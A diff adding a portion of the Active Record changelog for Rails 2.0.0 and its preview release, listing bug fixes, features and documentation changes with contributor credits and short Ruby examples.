+* Removed query cache rescue as it could cause code to be run twice (closes #10408) *David Heinemeier Hansson*
+
+
+## 2.0.0 (December 6th, 2007) ##
+
+* Anchor DateTimeTest to fixed DateTime instead of a variable value based on Time.now#advance#to_datetime, so that this test passes on 64-bit platforms running Ruby 1.8.6+ *Geoff Buesing*
+
+* Fixed that the Query Cache should just be ignored if the database is misconfigured (so that the "About your applications environment" works even before the database has been created) *David Heinemeier Hansson*
+
+* Fixed that the truncation of strings longer than 50 chars should use inspect
+ so newlines etc are escaped #10385 [Norbert Crombach]
+* Fixed that habtm associations should be able to set :select as part of their definition and have that honored *David Heinemeier Hansson*
+
+* Document how the :include option can be used in Calculations::calculate. Closes #7446 *adamwiggins, ultimoamore*
+
+* Fix typo in documentation for polymorphic associations w/STI. Closes #7461 *johnjosephbachir*
+
+* Reveal that the type option in migrations can be any supported column type for your database but also include caveat about agnosticism. Closes #7531 *adamwiggins, mikong*
+
+* More complete documentation for find_by_sql. Closes #7912 *fearoffish*
+
+* Added ActiveRecord::Base#becomes to turn a record into one of another class (mostly relevant for STIs) [David Heinemeier Hansson]. Example:
+
+ render :partial => @client.becomes(Company) # renders companies/company instead of clients/client
+
+* Fixed that to_xml should not automatically pass :procs to associations included with :include #10162 *Cheah Chu Yeow*
+
+* Fix documentation typo introduced in [8250]. Closes #10339 *Henrik N*
+
+* Foxy fixtures: support single-table inheritance. #10234 *tom*
+
+* Foxy fixtures: allow mixed usage to make migration easier and more attractive. #10004 *lotswholetime*
+
+* Make the record_timestamps class-inheritable so it can be set per model. #10004 *tmacedo*
+
+* Allow validates_acceptance_of to use a real attribute instead of only virtual (so you can record that the acceptance occured) #7457 *ambethia*
+
+* DateTimes use Ruby's default calendar reform setting. #10201 *Geoff Buesing*
+
+* Dynamic finders on association collections respect association :order and :limit. #10211, #10227 *Patrick Joyce, Rick Olson, Jack Danger Canty*
+
+* Add 'foxy' support for fixtures of polymorphic associations. #10183 *John Barnette, David Lowenfels*
+
+* validates_inclusion_of and validates_exclusion_of allow formatted :message strings. #8132 *devrieda, Mike Naberezny*
+
+* attr_readonly behaves well with optimistic locking. #10188 *Nick Bugajski*
+
+* Base#to_xml supports the nil="true" attribute like Hash#to_xml. #8268 *Jonathan del Strother*
+
+* Change plings to the more conventional quotes in the documentation. Closes #10104 *Jack Danger Canty*
+
+* Fix HasManyThrough Association so it uses :conditions on the HasMany Association. Closes #9729 *Jack Danger Canty*
+
+* Ensure that column names are quoted. Closes #10134 *wesley.moxam*
+
+* Smattering of grammatical fixes to documentation. Closes #10083 *Bob Silva*
+
+* Enhance explanation with more examples for attr_accessible macro. Closes #8095 *fearoffish, Marcel Molina Jr.*
+
+* Update association/method mapping table to refected latest collection methods for has_many :through. Closes #8772 *Pratik Naik*
+
+* Explain semantics of having several different AR instances in a transaction block. Closes #9036 *jacobat, Marcel Molina Jr.*
+
+* Update Schema documentation to use updated sexy migration notation. Closes #10086 *Sam Granieri*
+
+* Make fixtures work with the new test subclasses. *Tarmo Tänav, Michael Koziarski*
+
+* Introduce finder :joins with associations. Same :include syntax but with inner rather than outer joins. #10012 *RubyRedRick*
+ # Find users with an avatar
+ User.find(:all, :joins => :avatar)
+
+ # Find posts with a high-rated comment.
+ Post.find(:all, :joins => :comments, :conditions => 'comments.rating > 3')
+
+* Associations: speedup duplicate record check. #10011 *Pratik Naik*
+
+* Make sure that << works on has_many associations on unsaved records. Closes #9989 *Josh Susser*
+
+* Allow association redefinition in subclasses. #9346 *wildchild*
+
+* Fix has_many :through delete with custom foreign keys. #6466 *naffis*
+
+* Foxy fixtures, from rathole (http://svn.geeksomnia.com/rathole/trunk/README)
+ - stable, autogenerated IDs
+ - specify associations (belongs_to, has_one, has_many) by label, not ID
+ - specify HABTM associations as inline lists
+ - autofill timestamp columns
+ - support YAML defaults
+ - fixture label interpolation
+ Enabled for fixtures that correspond to a model class and don't specify a primary key value. #9981 *John Barnette*
+
+* Add docs explaining how to protect all attributes using attr_accessible with no arguments. Closes #9631 *boone, rmm5t*
+
+* Update add_index documentation to use new options api. Closes #9787 *Kamal Fariz Mahyuddin*
+
+* Allow find on a has_many association defined with :finder_sql to accept id arguments as strings like regular find does. Closes #9916 *krishna*
+
+* Use VALID_FIND_OPTIONS when resolving :find scoping rather than hard coding the list of valid find options. Closes #9443 *sur*
+
+* Limited eager loading no longer ignores scoped :order. Closes #9561 *Jack Danger Canty, Josh Peek*
+
+* Assigning an instance of a foreign class to a composed_of aggregate calls an optional conversion block. Refactor and simplify composed_of implementation. #6322 *brandon, Chris Cruft*
+
+* Assigning nil to a composed_of aggregate also sets its immediate value to nil. #9843 *Chris Cruft*
+
+* Ensure that mysql quotes table names with database names correctly. Closes #9911 *crayz*
+
+ "foo.bar" => "`foo`.`bar`"
+
+* Complete the assimilation of Sexy Migrations from ErrFree *Chris Wanstrath, PJ Hyett*
+ http://errtheblog.com/post/2381
+
+* Qualified column names work in hash conditions, like :conditions => { 'comments.created_at' => ... }. #9733 *Jack Danger Canty*
+
+* Fix regression where the association would not construct new finder SQL on save causing bogus queries for "WHERE owner_id = NULL" even after owner was saved. #8713 *Bryan Helmkamp*
+
+* Refactor association create and build so before & after callbacks behave consistently. #8854 *Pratik Naik, mortent*
+
+* Quote table names. Defaults to column quoting. #4593 *Justin Lynn, gwcoffey, eadz, Dmitry V. Sabanin, Jeremy Kemper*
+
+* Alias association #build to #new so it behaves predictably. #8787 *Pratik Naik*
+
+* Add notes to documentation regarding attr_readonly behavior with counter caches and polymorphic associations. Closes #9835 *saimonmoore, Rick Olson*
+
+* Observers can observe model names as symbols properly now. Closes #9869 *queso*
+
+* find_and_(initialize|create)_by methods can now properly initialize protected attributes *Tobias Lütke*
+
+* belongs_to infers the foreign key from the association name instead of from the class name. *Jeremy Kemper*
+
+* PostgreSQL: support multiline default values. #7533 *Carl Lerche, aguynamedryan, Rein Henrichs, Tarmo Tänav*
+
+* MySQL: fix change_column on not-null columns that don't accept dfeault values of ''. #6663 *Jonathan Viney, Tarmo Tänav*
+
+* validates_uniqueness_of behaves well with abstract superclasses and
+ single-table inheritance. #3833, #9886 [Gabriel Gironda, rramdas, François Beausoleil, Josh Peek, Tarmo Tänav, pat]
+* Warn about protected attribute assigments in development and test environments when mass-assigning to an attr_protected attribute. #9802 *Henrik N*
+
+* Speedup database date/time parsing. *Jeremy Kemper, Tarmo Tänav*
+
+* Fix calling .clear on a has_many :dependent=>:delete_all association. *Tarmo Tänav*
+
+* Allow change_column to set NOT NULL in the PostgreSQL adapter *Tarmo Tänav*
+
+* Fix that ActiveRecord would create attribute methods and override custom attribute getters if the method is also defined in Kernel.methods. *Rick Olson*
+
+* Don't call attr_readonly on polymorphic belongs_to associations, in case it matches the name of some other non-ActiveRecord class/module. *Rick Olson*
+
+* Try loading activerecord-<adaptername>-adapter gem before trying a plain require so you can use custom gems for the bundled adapters. Also stops gems from requiring an adapter from an old Active Record gem. *Jeremy Kemper, Derrick Spell*
+
+
+## 2.0.0 Preview Release (September 29th, 2007) Includes duplicates of changes from 1.14.2 - 1.15.3 ##
+
+* Add attr_readonly to specify columns that are skipped during a normal ActiveRecord #save operation. Closes #6896 *Dan Manges*
+
+ class Comment < ActiveRecord::Base
+ # Automatically sets Article#comments_count as readonly.
+ belongs_to :article, :counter_cache => :comments_count
+ end
+
+ class Article < ActiveRecord::Base
+ attr_readonly :approved_comments_count
+ end
+
+* Make size for has_many :through use counter cache if it exists. Closes #9734 *Xavier Shay*
+
+* Remove DB2 adapter since IBM chooses to maintain their own adapter instead. *Jeremy Kemper*
+
+* Extract Oracle, SQLServer, and Sybase adapters into gems. *Jeremy Kemper*
+
+* Added fixture caching that'll speed up a normal fixture-powered test suite between 50% and 100% #9682 *Frederick Cheung*
+
+* Correctly quote id list for limited eager loading. #7482 *tmacedo*
+
+* Fixed that using version-targetted migrates would fail on loggers other than the default one #7430 *valeksenko*
+
+* Fixed rename_column for SQLite when using symbols for the column names #8616 *drodriguez*
+
+* Added the possibility of using symbols in addition to concrete classes with ActiveRecord::Observer#observe. #3998 *Robby Russell, Tarmo Tänav*
+
+* Added ActiveRecord::Base#to_json/from_json *David Heinemeier Hansson, Cheah Chu Yeow*
+
+* Added ActiveRecord::Base#from_xml [David Heinemeier Hansson]. Example:
+
+ xml = "<person><name>David</name></person>"
+ Person.new.from_xml(xml).name # => "David"
+
+* Define dynamic finders as real methods after first usage. *bscofield*
+
+* Deprecation: remove deprecated threaded_connections methods. Use allow_concurrency instead. *Jeremy Kemper*
+
+* Associations macros accept extension blocks alongside modules. #9346 *Josh Peek*
+
+* Speed up and simplify query caching. *Jeremy Kemper*
+
+* connection.select_rows 'sql' returns an array (rows) of arrays (field values). #2329 *Michael Schuerig*
+
+* Eager loading respects explicit :joins. #9496 *dasil003*
+
+* Extract Firebird, FrontBase, and OpenBase adapters into gems. #9508, #9509, #9510 *Jeremy Kemper*
+
+* RubyGem database adapters: expects a gem named activerecord-<database>-adapter with active_record/connection_adapters/<database>_adapter.rb in its load path. *Jeremy Kemper*
+
+* Fixed that altering join tables in migrations would fail w/ sqlite3 #7453 *TimoMihaljov/brandon*
+
+* Fix association writer with :dependent => :nullify. #7314 *Jonathan Viney*
+
+* OpenBase: update for new lib and latest Rails. Support migrations. #8748 *dcsesq*
+
+* Moved acts_as_tree into a plugin of the same name on the official Rails svn. #9514 *Pratik Naik*
+
+* Moved acts_as_nested_set into a plugin of the same name on the official Rails svn. #9516 *Josh Peek*
+
+* Moved acts_as_list into a plugin of the same name on the official Rails svn. *Josh Peek*
+
+* Explicitly require active_record/query_cache before using it. *Jeremy Kemper*
+
+* Fix bug where unserializing an attribute attempts to modify a frozen @attributes hash for a deleted record. *Rick Olson, marclove*
+
+* Performance: absorb instantiate and initialize_with_callbacks into the Base methods. *Jeremy Kemper*
+
+* Fixed that eager loading queries and with_scope should respect the :group option *David Heinemeier Hansson*
+
+* Improve performance and functionality of the postgresql adapter. Closes #8049 *roderickvd*
+
+ For more information see: http://dev.rubyonrails.org/ticket/8049
+
+* Don't clobber includes passed to has_many.count *Jack Danger Canty*
+
+* Make sure has_many uses :include when counting *Jack Danger Canty*
+
+* Change the implementation of ActiveRecord's attribute reader and writer methods *Michael Koziarski*
+ - Generate Reader and Writer methods which cache attribute values in hashes. This is to avoid repeatedly parsing the same date or integer columns. - Change exception raised when users use find with :select then try to access a skipped column. Plugins could override missing_attribute() to lazily load the columns. - Move method definition to the class, instead of the instance - Always generate the readers, writers and predicate methods.
+* Perform a deep #dup on query cache results so that modifying activerecord attributes does not modify the cached attributes. *Rick Olson*
+
+ \# Ensure that has_many :through associations use a count query instead of loading the target when #size is called. Closes #8800 [Pratik Naik]
+* Added :unless clause to validations #8003 [monki]. Example:
+
+ def using_open_id?
+ !identity_url.blank?
+ end
+
+ validates_presence_of :identity_url, :if => using_open_id?
+ validates_presence_of :username, :unless => using_open_id?
+ validates_presence_of :password, :unless => using_open_id?
+
+* Fix #count on a has_many :through association so that it recognizes the :uniq option. Closes #8801 *Pratik Naik*
+
+* Fix and properly document/test count(column_name) usage. Closes #8999 *Pratik Naik*
+
+* Remove deprecated count(conditions=nil, joins=nil) usage. Closes #8993 *Pratik Naik*
+
+* Change belongs_to so that the foreign_key assumption is taken from the association name, not the class name. Closes #8992 *Josh Susser*
+
+ OLD
+ belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is user_id
+
+ NEW
+ belongs_to :visitor, :class_name => 'User' # => inferred foreign_key is visitor_id
+
+* Remove spurious tests from deprecated_associations_test, most of these aren't deprecated, and are duplicated in associations_test. Closes #8987 *Pratik Naik*
+
+* Make create! on a has_many :through association return the association object. Not the collection. Closes #8786 *Pratik Naik*
+
+* Move from select * to select tablename.* to avoid clobbering IDs. Closes #8889 *dasil003*
+
+* Don't call unsupported methods on associated objects when using :include, :method with to_xml #7307, *Manfred Stienstra, jwilger*
+
+* Define collection singular ids method for has_many :through associations. #8763 *Pratik Naik*
+
+* Array attribute conditions work with proxied association collections. #8318 *Kamal Fariz Mahyuddin, theamazingrando*
+
+* Fix polymorphic has_one associations declared in an abstract class. #8638 *Pratik Naik, Dax Huiberts*
+
+* Fixed validates_associated should not stop on the first error. #4276 *mrj, Manfred Stienstra, Josh Peek*
+
+* Rollback if commit raises an exception. #8642 *kik, Jeremy Kemper*
+
+* Update tests' use of fixtures for the new collections api. #8726 *Kamal Fariz Mahyuddin*
+
+* Save associated records only if the association is already loaded. #8713 *Blaine*
+
+* MySQL: fix show_variable. #8448 *matt, Jeremy Kemper*
+
+* Fixtures: correctly delete and insert fixtures in a single transaction. #8553 *Michael Schuerig*
+
+* Fixtures: people(:technomancy, :josh) returns both fixtures. #7880 *technomancy, Josh Peek*
+
+* Calculations support non-numeric foreign keys. #8154 *Kamal Fariz Mahyuddin*
+
+* with_scope is protected. #8524 *Josh Peek*
+
+* Quickref for association methods. #7723 *marclove, Mindsweeper*
+
+* Calculations: return nil average instead of 0 when there are no rows to average. #8298 *davidw*
+
+* acts_as_nested_set: direct_children is sorted correctly. #4761 *Josh Peek, rails@33lc0.net*
+
+* Raise an exception if both attr_protected and attr_accessible are declared. #8507 *stellsmi*
+
+* SQLite, MySQL, PostgreSQL, Oracle: quote column names in column migration SQL statements. #8466 *marclove, lorenjohnson*
+
+* Allow nil serialized attributes with a set class constraint. #7293 *sandofsky*
+
+* Oracle: support binary fixtures. #7987 *Michael Schoen*
+
+* Fixtures: pull fixture insertion into the database adapters. #7987 *Michael Schoen*
+
+* Announce migration versions as they're performed. *Jeremy Kemper*
+
+* find gracefully copes with blank :conditions. #7599 *Dan Manges, johnnyb*
+
+* validates_numericality_of takes :greater_than, :greater_than_or_equal_to, :equal_to, :less_than, :less_than_or_equal_to, :odd, and :even options. #3952 *Bob Silva, Dan Kubb, Josh Peek*
+
+* MySQL: create_database takes :charset and :collation options. Charset defaults to utf8. #8448 *matt*
+
+* Find with a list of ids supports limit/offset. #8437 *hrudududu*
+
+* Optimistic locking: revert the lock version when an update fails. #7840 *plang*
+
+* Migrations: add_column supports custom column types. #7742 *jsgarvin, Theory*
+
+* Load database adapters on demand. Eliminates config.connection_adapters and RAILS_CONNECTION_ADAPTERS. Add your lib directory to the $LOAD_PATH and put your custom adapter in lib/active_record/connection_adapters/adaptername_adapter.rb. This way you can provide custom adapters as plugins or gems without modifying Rails. *Jeremy Kemper*
+
+* Ensure that associations with :dependent => :delete_all respect :conditions option. Closes #8034 *Jack Danger Canty, Josh Peek, Rick Olson*
+
+* belongs_to assignment creates a new proxy rather than modifying its target in-place. #8412 *mmangino@elevatedrails.com*
+
+* Fix column type detection while loading fixtures. Closes #7987 *roderickvd*
+
+* Document deep eager includes. #6267 *Josh Susser, Dan Manges*
+
+* Document warning that associations names shouldn't be reserved words. #4378 *murphy@cYcnus.de, Josh Susser*
+
+* Sanitize Base#inspect. #8392, #8623 *Nik Wakelin, jnoon*
+
+* Replace the transaction {|transaction|..} semantics with a new Exception ActiveRecord::Rollback. *Michael Koziarski*
+
+* Oracle: extract column length for CHAR also. #7866 *ymendel*
+
+* Document :allow_nil option for validates_acceptance_of since it defaults to true. *tzaharia*
+
+* Update documentation for :dependent declaration so that it explicitly uses the non-deprecated API. *Jack Danger Canty*
+
+* Add documentation caveat about when to use count_by_sql. *fearoffish*
+
+* Enhance documentation for increment_counter and decrement_counter. *fearoffish*
+
+* Provide brief introduction to what optimistic locking is. *fearoffish*
+
+* Add documentation for :encoding option to mysql adapter. *marclove*
+
+* Added short-hand declaration style to migrations (inspiration from Sexy Migrations, http://errtheblog.com/post/2381) [David Heinemeier Hansson]. Example:
+
+ create_table "products" do |t|
+ t.column "shop_id", :integer
+ t.column "creator_id", :integer
+ t.column "name", :string, :default => "Untitled"
+ t.column "value", :string, :default => "Untitled"
+ t.column "created_at", :datetime
+ t.column "updated_at", :datetime
+ end
+
+ ...can now be written as:
+
+ create_table :products do |t|
+ t.integer :shop_id, :creator_id
+ t.string :name, :value, :default => "Untitled"
+ t.timestamps
+ end
+
+* Use association name for the wrapper element when using .to_xml. Previous behavior lead to non-deterministic situations with STI and polymorphic associations. *Michael Koziarski, jstrachan*
+
+* Improve performance of calling .create on has_many :through associations. *evan*
+
+* Improved cloning performance by relying less on exception raising #8159 *Blaine*
+
+* Added ActiveRecord::Base.inspect to return a column-view like #<Post id:integer, title:string, body:text> *David Heinemeier Hansson*
+
+* Added yielding of Builder instance for ActiveRecord::Base#to_xml calls *David Heinemeier Hansson*
+
+* Small additions and fixes for ActiveRecord documentation. Closes #7342 *Jeremy McAnally*
+
+* Add helpful debugging info to the ActiveRecord::StatementInvalid exception in ActiveRecord::ConnectionAdapters::SqliteAdapter#table_structure. Closes #7925. *court3nay*
+
+* SQLite: binary escaping works with $KCODE='u'. #7862 *tsuka*
+
+* Base#to_xml supports serialized attributes. #7502 *jonathan*
+
+* Base.update_all :order and :limit options. Useful for MySQL updates that must be ordered to avoid violating unique constraints. *Jeremy Kemper*
+
+* Remove deprecated object transactions. People relying on this functionality should install the object_transactions plugin at http://code.bitsweat.net/svn/object_transactions. Closes #5637 *Michael Koziarski, Jeremy Kemper*
+
+* PostgreSQL: remove DateTime -> Time downcast. Warning: do not enable translate_results for the C bindings if you have timestamps outside Time's domain. *Jeremy Kemper*
+
+* find_or_create_by_* takes a hash so you can create with more attributes than are in the method name. For example, Person.find_or_create_by_name(:name => 'Henry', :comments => 'Hi new user!') is equivalent to Person.find_by_name('Henry') || Person.create(:name => 'Henry', :comments => 'Hi new user!'). #7368 *Josh Susser*
+
+* Make sure with_scope takes both :select and :joins into account when setting :readonly. Allows you to save records you retrieve using method_missing on a has_many :through associations. *Michael Koziarski*
+
+* Allow a polymorphic :source for has_many :through associations. Closes #7143 *protocool*
+
+* Consistent public/protected/private visibility for chained methods. #7813 *Dan Manges*
+
+* Oracle: fix quoted primary keys and datetime overflow. #7798 *Michael Schoen*
+
+* Consistently quote primary key column names. #7763 *toolmantim*
+
+* Fixtures: fix YAML ordered map support. #2665 *Manuel Holtgrewe, nfbuckley*
+
+* DateTimes assume the default timezone. #7764 *Geoff Buesing*
+
+* Sybase: hide timestamp columns since they're inherently read-only. #7716 *Mike Joyce*
+
+* Oracle: overflow Time to DateTime. #7718 *Michael Schoen*
+
+* PostgreSQL: don't use async_exec and async_query with postgres-pr. #7727, #7762 *flowdelic, toolmantim*
+
+* Fix has_many :through << with custom foreign keys. #6466, #7153 *naffis, Rich Collins*
+
+* Test DateTime native type in migrations, including an edge case with dates
+ during calendar reform. #7649, #7724 [fedot, Geoff Buesing]
+* SQLServer: correctly schema-dump tables with no indexes or descending indexes. #7333, #7703 *Jakob Skjerning, Tom Ward*
+
+* SQLServer: recognize real column type as Ruby float. #7057 *sethladd, Tom Ward*
+
+* Added fixtures :all as a way of loading all fixtures in the fixture directory at once #7214 *Manfred Stienstra*
+
+* Added database connection as a yield parameter to ActiveRecord::Base.transaction so you can manually rollback [David Heinemeier Hansson]. Example:
+
+ transaction do |transaction|
+ david.withdrawal(100)
+ mary.deposit(100)
+ transaction.rollback! # rolls back the transaction that was otherwise going to be successful
+ end
+
+* Made increment_counter/decrement_counter play nicely with optimistic locking, and added a more general update_counters method *Jamis Buck*
+
+* Reworked David's query cache to be available as Model.cache {...}. For the duration of the block no select query should be run more then once. Any inserts/deletes/executes will flush the whole cache however *Tobias Lütke*
+ Task.cache { Task.find(1); Task.find(1) } # => 1 query
+
+* When dealing with SQLite3, use the table_info pragma helper, so that the bindings can do some translation for when sqlite3 breaks incompatibly between point releases. *Jamis Buck*
+
+* Oracle: fix lob and text default handling. #7344 *gfriedrich, Michael Schoen*
+
+* SQLServer: don't choke on strings containing 'null'. #7083 *Jakob Skjerning*
+
+* MySQL: blob and text columns may not have defaults in 5.x. Update fixtures schema for strict mode. #6695 *Dan Kubb*
+
+* update_all can take a Hash argument. sanitize_sql splits into two methods for conditions and assignment since NULL values and delimiters are handled differently. #6583, #7365 *sandofsky, Assaf*
+
+* MySQL: SET SQL_AUTO_IS_NULL=0 so 'where id is null' doesn't select the last inserted id. #6778 *Jonathan Viney, timc*
+
+* Use Date#to_s(:db) for quoted dates. #7411 *Michael Schoen*
+
+* Don't create instance writer methods for class attributes. Closes #7401 *Rick Olson*
+
+* Docs: validations examples. #7343 *zackchandler*
+
+* Add missing tests ensuring callbacks work with class inheritance. Closes #7339 *sandofsky*
+
+* Fixtures use the table name and connection from set_fixture_class. #7330 *Anthony Eden*
+
+* Remove useless code in #attribute_present? since 0 != blank?. Closes #7249 *Josh Susser*
+
+* Fix minor doc typos. Closes #7157 *Josh Susser*
+
+* Fix incorrect usage of #classify when creating the eager loading join statement. Closes #7044 *Josh Susser*
+
+* SQLServer: quote table name in indexes query. #2928 *keithm@infused.org*
+
+* Subclasses of an abstract class work with single-table inheritance. #5704, #7284 *BertG, nick+rails@ag.arizona.edu*
+
+* Make sure sqlite3 driver closes open connections on disconnect *Rob Rasmussen*
+
+* [DOC] clear up some ambiguity with the way has_and_belongs_to_many creates the default join table name. #7072 *Jeremy McAnally*
+
+* change_column accepts :default => nil. Skip column options for primary keys. #6956, #7048 *Dan Manges, Jeremy Kemper*
+
+* MySQL, PostgreSQL: change_column_default quotes the default value and doesn't lose column type information. #3987, #6664 *Jonathan Viney, Manfred Stienstra, altano@bigfoot.com*
+
+* Oracle: create_table takes a :sequence_name option to override the 'tablename_seq' default. #7000 *Michael Schoen*
+
+* MySQL: retain SSL settings on reconnect. #6976 *randyv2*
+
+* Apply scoping during initialize instead of create. Fixes setting of foreign key when using find_or_initialize_by with scoping. *Cody Fauser*
+
+* SQLServer: handle [quoted] table names. #6635 *rrich*
+
+* acts_as_nested_set works with single-table inheritance. #6030 *Josh Susser*
+
+* PostgreSQL, Oracle: correctly perform eager finds with :limit and :order. #4668, #7021 *eventualbuddha, Michael Schoen*
+
+* Pass a range in :conditions to use the SQL BETWEEN operator. #6974 *Dan Manges*
+ Student.find(:all, :conditions => { :grade => 9..12 })
+
+* Fix the Oracle adapter for serialized attributes stored in CLOBs. Closes #6825 *mschoen, tdfowler*
+
+* [DOCS] Apply more documentation for ActiveRecord Reflection. Closes #4055 *Robby Russell*
+
+* [DOCS] Document :allow_nil option of #validate_uniqueness_of. Closes #3143 *Caio Chassot*
+
+* Bring the sybase adapter up to scratch for 1.2 release. *jsheets*
+
+* Rollback new_record? and id when an exception is raised in a save callback. #6910 *Ben Curren, outerim*
+
+* Pushing a record on an association collection doesn't unnecessarily load all the associated records. *Obie Fernandez, Jeremy Kemper*
+
+* Oracle: fix connection reset failure. #6846 *leonlleslie*
+
+* Subclass instantiation doesn't try to explicitly require the corresponding subclass. #6840 *leei, Jeremy Kemper*
+
+* fix faulty inheritance tests and that eager loading grabs the wrong inheritance column when the class of your association is an STI subclass. Closes #6859 *protocool*
+
+* Consolidated different create and create! versions to call through to the base class with scope. This fixes inconsistencies, especially related to protected attribtues. Closes #5847 *Alexander Dymo, Tobias Lütke*
+
+* find supports :lock with :include. Check whether your database allows SELECT ... FOR UPDATE with outer joins before using. #6764 *vitaly, Jeremy Kemper*
+
+* Add AssociationCollection#create! to be consistent with AssociationCollection#create when dealing with a foreign key that is a protected attribute *Cody Fauser*
+
+* Added counter optimization for AssociationCollection#any? so person.friends.any? won't actually load the full association if we have the count in a cheaper form *David Heinemeier Hansson*
+
+* Change fixture_path to a class inheritable accessor allowing test cases to have their own custom set of fixtures. #6672 *Zach Dennis*
+
+* Quote ActiveSupport::Multibyte::Chars. #6653 *Julian Tarkhanov*
+
+* Simplify query_attribute by typecasting the attribute value and checking whether it's nil, false, zero or blank. #6659 *Jonathan Viney*
+
+* validates_numericality_of uses \A \Z to ensure the entire string matches rather than ^ $ which may match one valid line of a multiline string. #5716 *Andreas Schwarz*
+
+* Run validations in the order they were declared. #6657 *obrie*
+
+* MySQL: detect when a NOT NULL column without a default value is misreported as default ''. Can't detect for string, text, and binary columns since '' is a legitimate default. #6156 *simon@redhillconsulting.com.au, obrie, Jonathan Viney, Jeremy Kemper*
+
+* Simplify association proxy implementation by factoring construct_scope out of method_missing. #6643 *martin*
+
+* Oracle: automatically detect the primary key. #6594 *vesaria, Michael Schoen*
+
+* Oracle: to increase performance, prefetch 100 rows and enable similar cursor sharing. Both are configurable in database.yml. #6607 *philbogle@gmail.com, ray.fortna@jobster.com, Michael Schoen*
+
+* Don't inspect unloaded associations. #2905 *lmarlow*
+
+* SQLite: use AUTOINCREMENT primary key in >= 3.1.0. #6588, #6616 *careo, lukfugl*
+
+* Cache inheritance_column. #6592 *Stefan Kaes*
+
+* Firebird: decimal/numeric support. #6408 *macrnic*
+
+* make add_order a tad faster. #6567 *Stefan Kaes*
+
+* Find with :include respects scoped :order. #5850
+
+* Support nil and Array in :conditions => { attr => value } hashes. #6548 *Assaf, Jeremy Kemper*
+ find(:all, :conditions => { :topic_id => [1, 2, 3], :last_read => nil }
+
+* Consistently use LOWER() for uniqueness validations (rather than mixing with UPPER()) so the database can always use a functional index on the lowercased column. #6495 *Si*
+
+* SQLite: fix calculations workaround, remove count(distinct) query rewrite, cleanup test connection scripts. *Jeremy Kemper*
+
+* SQLite: count(distinct) queries supported in >= 3.2.6. #6544 *Bob Silva*
+
+* Dynamically generate reader methods for serialized attributes. #6362 *Stefan Kaes*
+
+* Deprecation: object transactions warning. *Jeremy Kemper*
+
+* has_one :dependent => :nullify ignores nil associates. #4848, #6528 *bellis@deepthought.org, janovetz, Jeremy Kemper*
+
+* Oracle: resolve test failures, use prefetched primary key for inserts, check for null defaults, fix limited id selection for eager loading. Factor out some common methods from all adapters. #6515 *Michael Schoen*
+
+* Make add_column use the options hash with the Sqlite Adapter. Closes #6464 *obrie*
+
+* Document other options available to migration's add_column. #6419 *grg*
+
+* MySQL: all_hashes compatibility with old MysqlRes class. #6429, #6601 *Jeremy Kemper*
+
+* Fix has_many :through to add the appropriate conditions when going through an association using STI. Closes #5783. *Jonathan Viney*
+
+* fix select_limited_ids_list issues in postgresql, retain current behavior in other adapters *Rick Olson*
+
+* Restore eager condition interpolation, document it's differences *Rick Olson*
+
+* Don't rollback in teardown unless a transaction was started. Don't start a transaction in create_fixtures if a transaction is started. #6282 *Jacob Fugal, Jeremy Kemper*
+
+* Add #delete support to has_many :through associations. Closes #6049 *Martin Landers*
+
+* Reverted old select_limited_ids_list postgresql fix that caused issues in mysql. Closes #5851 *Rick Olson*
+
+* Removes the ability for eager loaded conditions to be interpolated, since there is no model instance to use as a context for interpolation. #5553 *turnip@turnipspatch.com*
+
+* Added timeout option to SQLite3 configurations to deal more gracefully with SQLite3::BusyException, now the connection can instead retry for x seconds to see if the db clears up before throwing that exception #6126 *wreese@gmail.com*
+
+* Added update_attributes! which uses save! to raise an exception if a validation error prevents saving #6192 *jonathan*
+
+* Deprecated add_on_boundary_breaking (use validates_length_of instead) #6292 *Bob Silva*
+
+* The has_many create method works with polymorphic associations. #6361 *Dan Peterson*
+
+* MySQL: introduce Mysql::Result#all_hashes to support further optimization. #5581 *Stefan Kaes*
+
+* save! shouldn't validate twice. #6324 *maiha, Bob Silva*
+
+* Association collections have an _ids reader method to match the existing writer for collection_select convenience (e.g. employee.task_ids). The writer method skips blank ids so you can safely do @employee.task_ids = params[:tasks] without checking every time for an empty list or blank values. #1887, #5780 *Michael Schuerig*
+
+* Add an attribute reader method for ActiveRecord::Base.observers *Rick Olson*
+
+* Deprecation: count class method should be called with an options hash rather than two args for conditions and joins. #6287 *Bob Silva*
+
+* has_one associations with a nil target may be safely marshaled. #6279 *norbauer, Jeremy Kemper*
+
+* Duplicate the hash provided to AR::Base#to_xml to prevent unexpected side effects *Michael Koziarski*
+
+* Add a :namespace option to AR::Base#to_xml *Michael Koziarski*
+
+* Deprecation tests. Remove warnings for dynamic finders and for the foo_count method if it's also an attribute. *Jeremy Kemper*
+
+* Mock Time.now for more accurate Touch mixin tests. #6213 *Dan Peterson*
+
+* Improve yaml fixtures error reporting. #6205 *Bruce Williams*
+
+* Rename AR::Base#quote so people can use that name in their models. #3628 *Michael Koziarski*
+
+* Add deprecation warning for inferred foreign key. #6029 *Josh Susser*
+
+* Fixed the Ruby/MySQL adapter we ship with Active Record to work with the new authentication handshake that was introduced in MySQL 4.1, along with the other protocol changes made at that time #5723 *jimw@mysql.com*
+
+* Deprecation: use :dependent => :delete_all rather than :exclusively_dependent => true. #6024 *Josh Susser*
+
+* Document validates_presences_of behavior with booleans: you probably want validates_inclusion_of :attr, :in => [true, false]. #2253 *Bob Silva*
+
+* Optimistic locking: gracefully handle nil versions, treat as zero. #5908 *Tom Ward*
+
+* to_xml: the :methods option works on arrays of records. #5845 *Josh Starcher*
+
+* Deprecation: update docs. #5998 *Jakob Skjerning, Kevin Clark*
+
+* Add some XmlSerialization tests for ActiveRecord *Rick Olson*
+
+* has_many :through conditions are sanitized by the associating class. #5971 *martin.emde@gmail.com*
+
+* Tighten rescue clauses. #5985 *james@grayproductions.net*
+
+* Fix spurious newlines and spaces in AR::Base#to_xml output *Jamis Buck*
+
+* has_one supports the :dependent => :delete option which skips the typical callback chain and deletes the associated object directly from the database. #5927 *Chris Mear, Jonathan Viney*
+
+* Nested subclasses are not prefixed with the parent class' table_name since they should always use the base class' table_name. #5911 *Jonathan Viney*
+
+* SQLServer: work around bug where some unambiguous date formats are not correctly identified if the session language is set to german. #5894 *Tom Ward, kruth@bfpi*
+
+* SQLServer: fix eager association test. #5901 *Tom Ward*
+
+* Clashing type columns due to a sloppy join shouldn't wreck single-table inheritance. #5838 *Kevin Clark*
+
+* Fixtures: correct escaping of \n and \r. #5859 *evgeny.zislis@gmail.com*
+
+* Migrations: gracefully handle missing migration files. #5857 *eli.gordon@gmail.com*
+
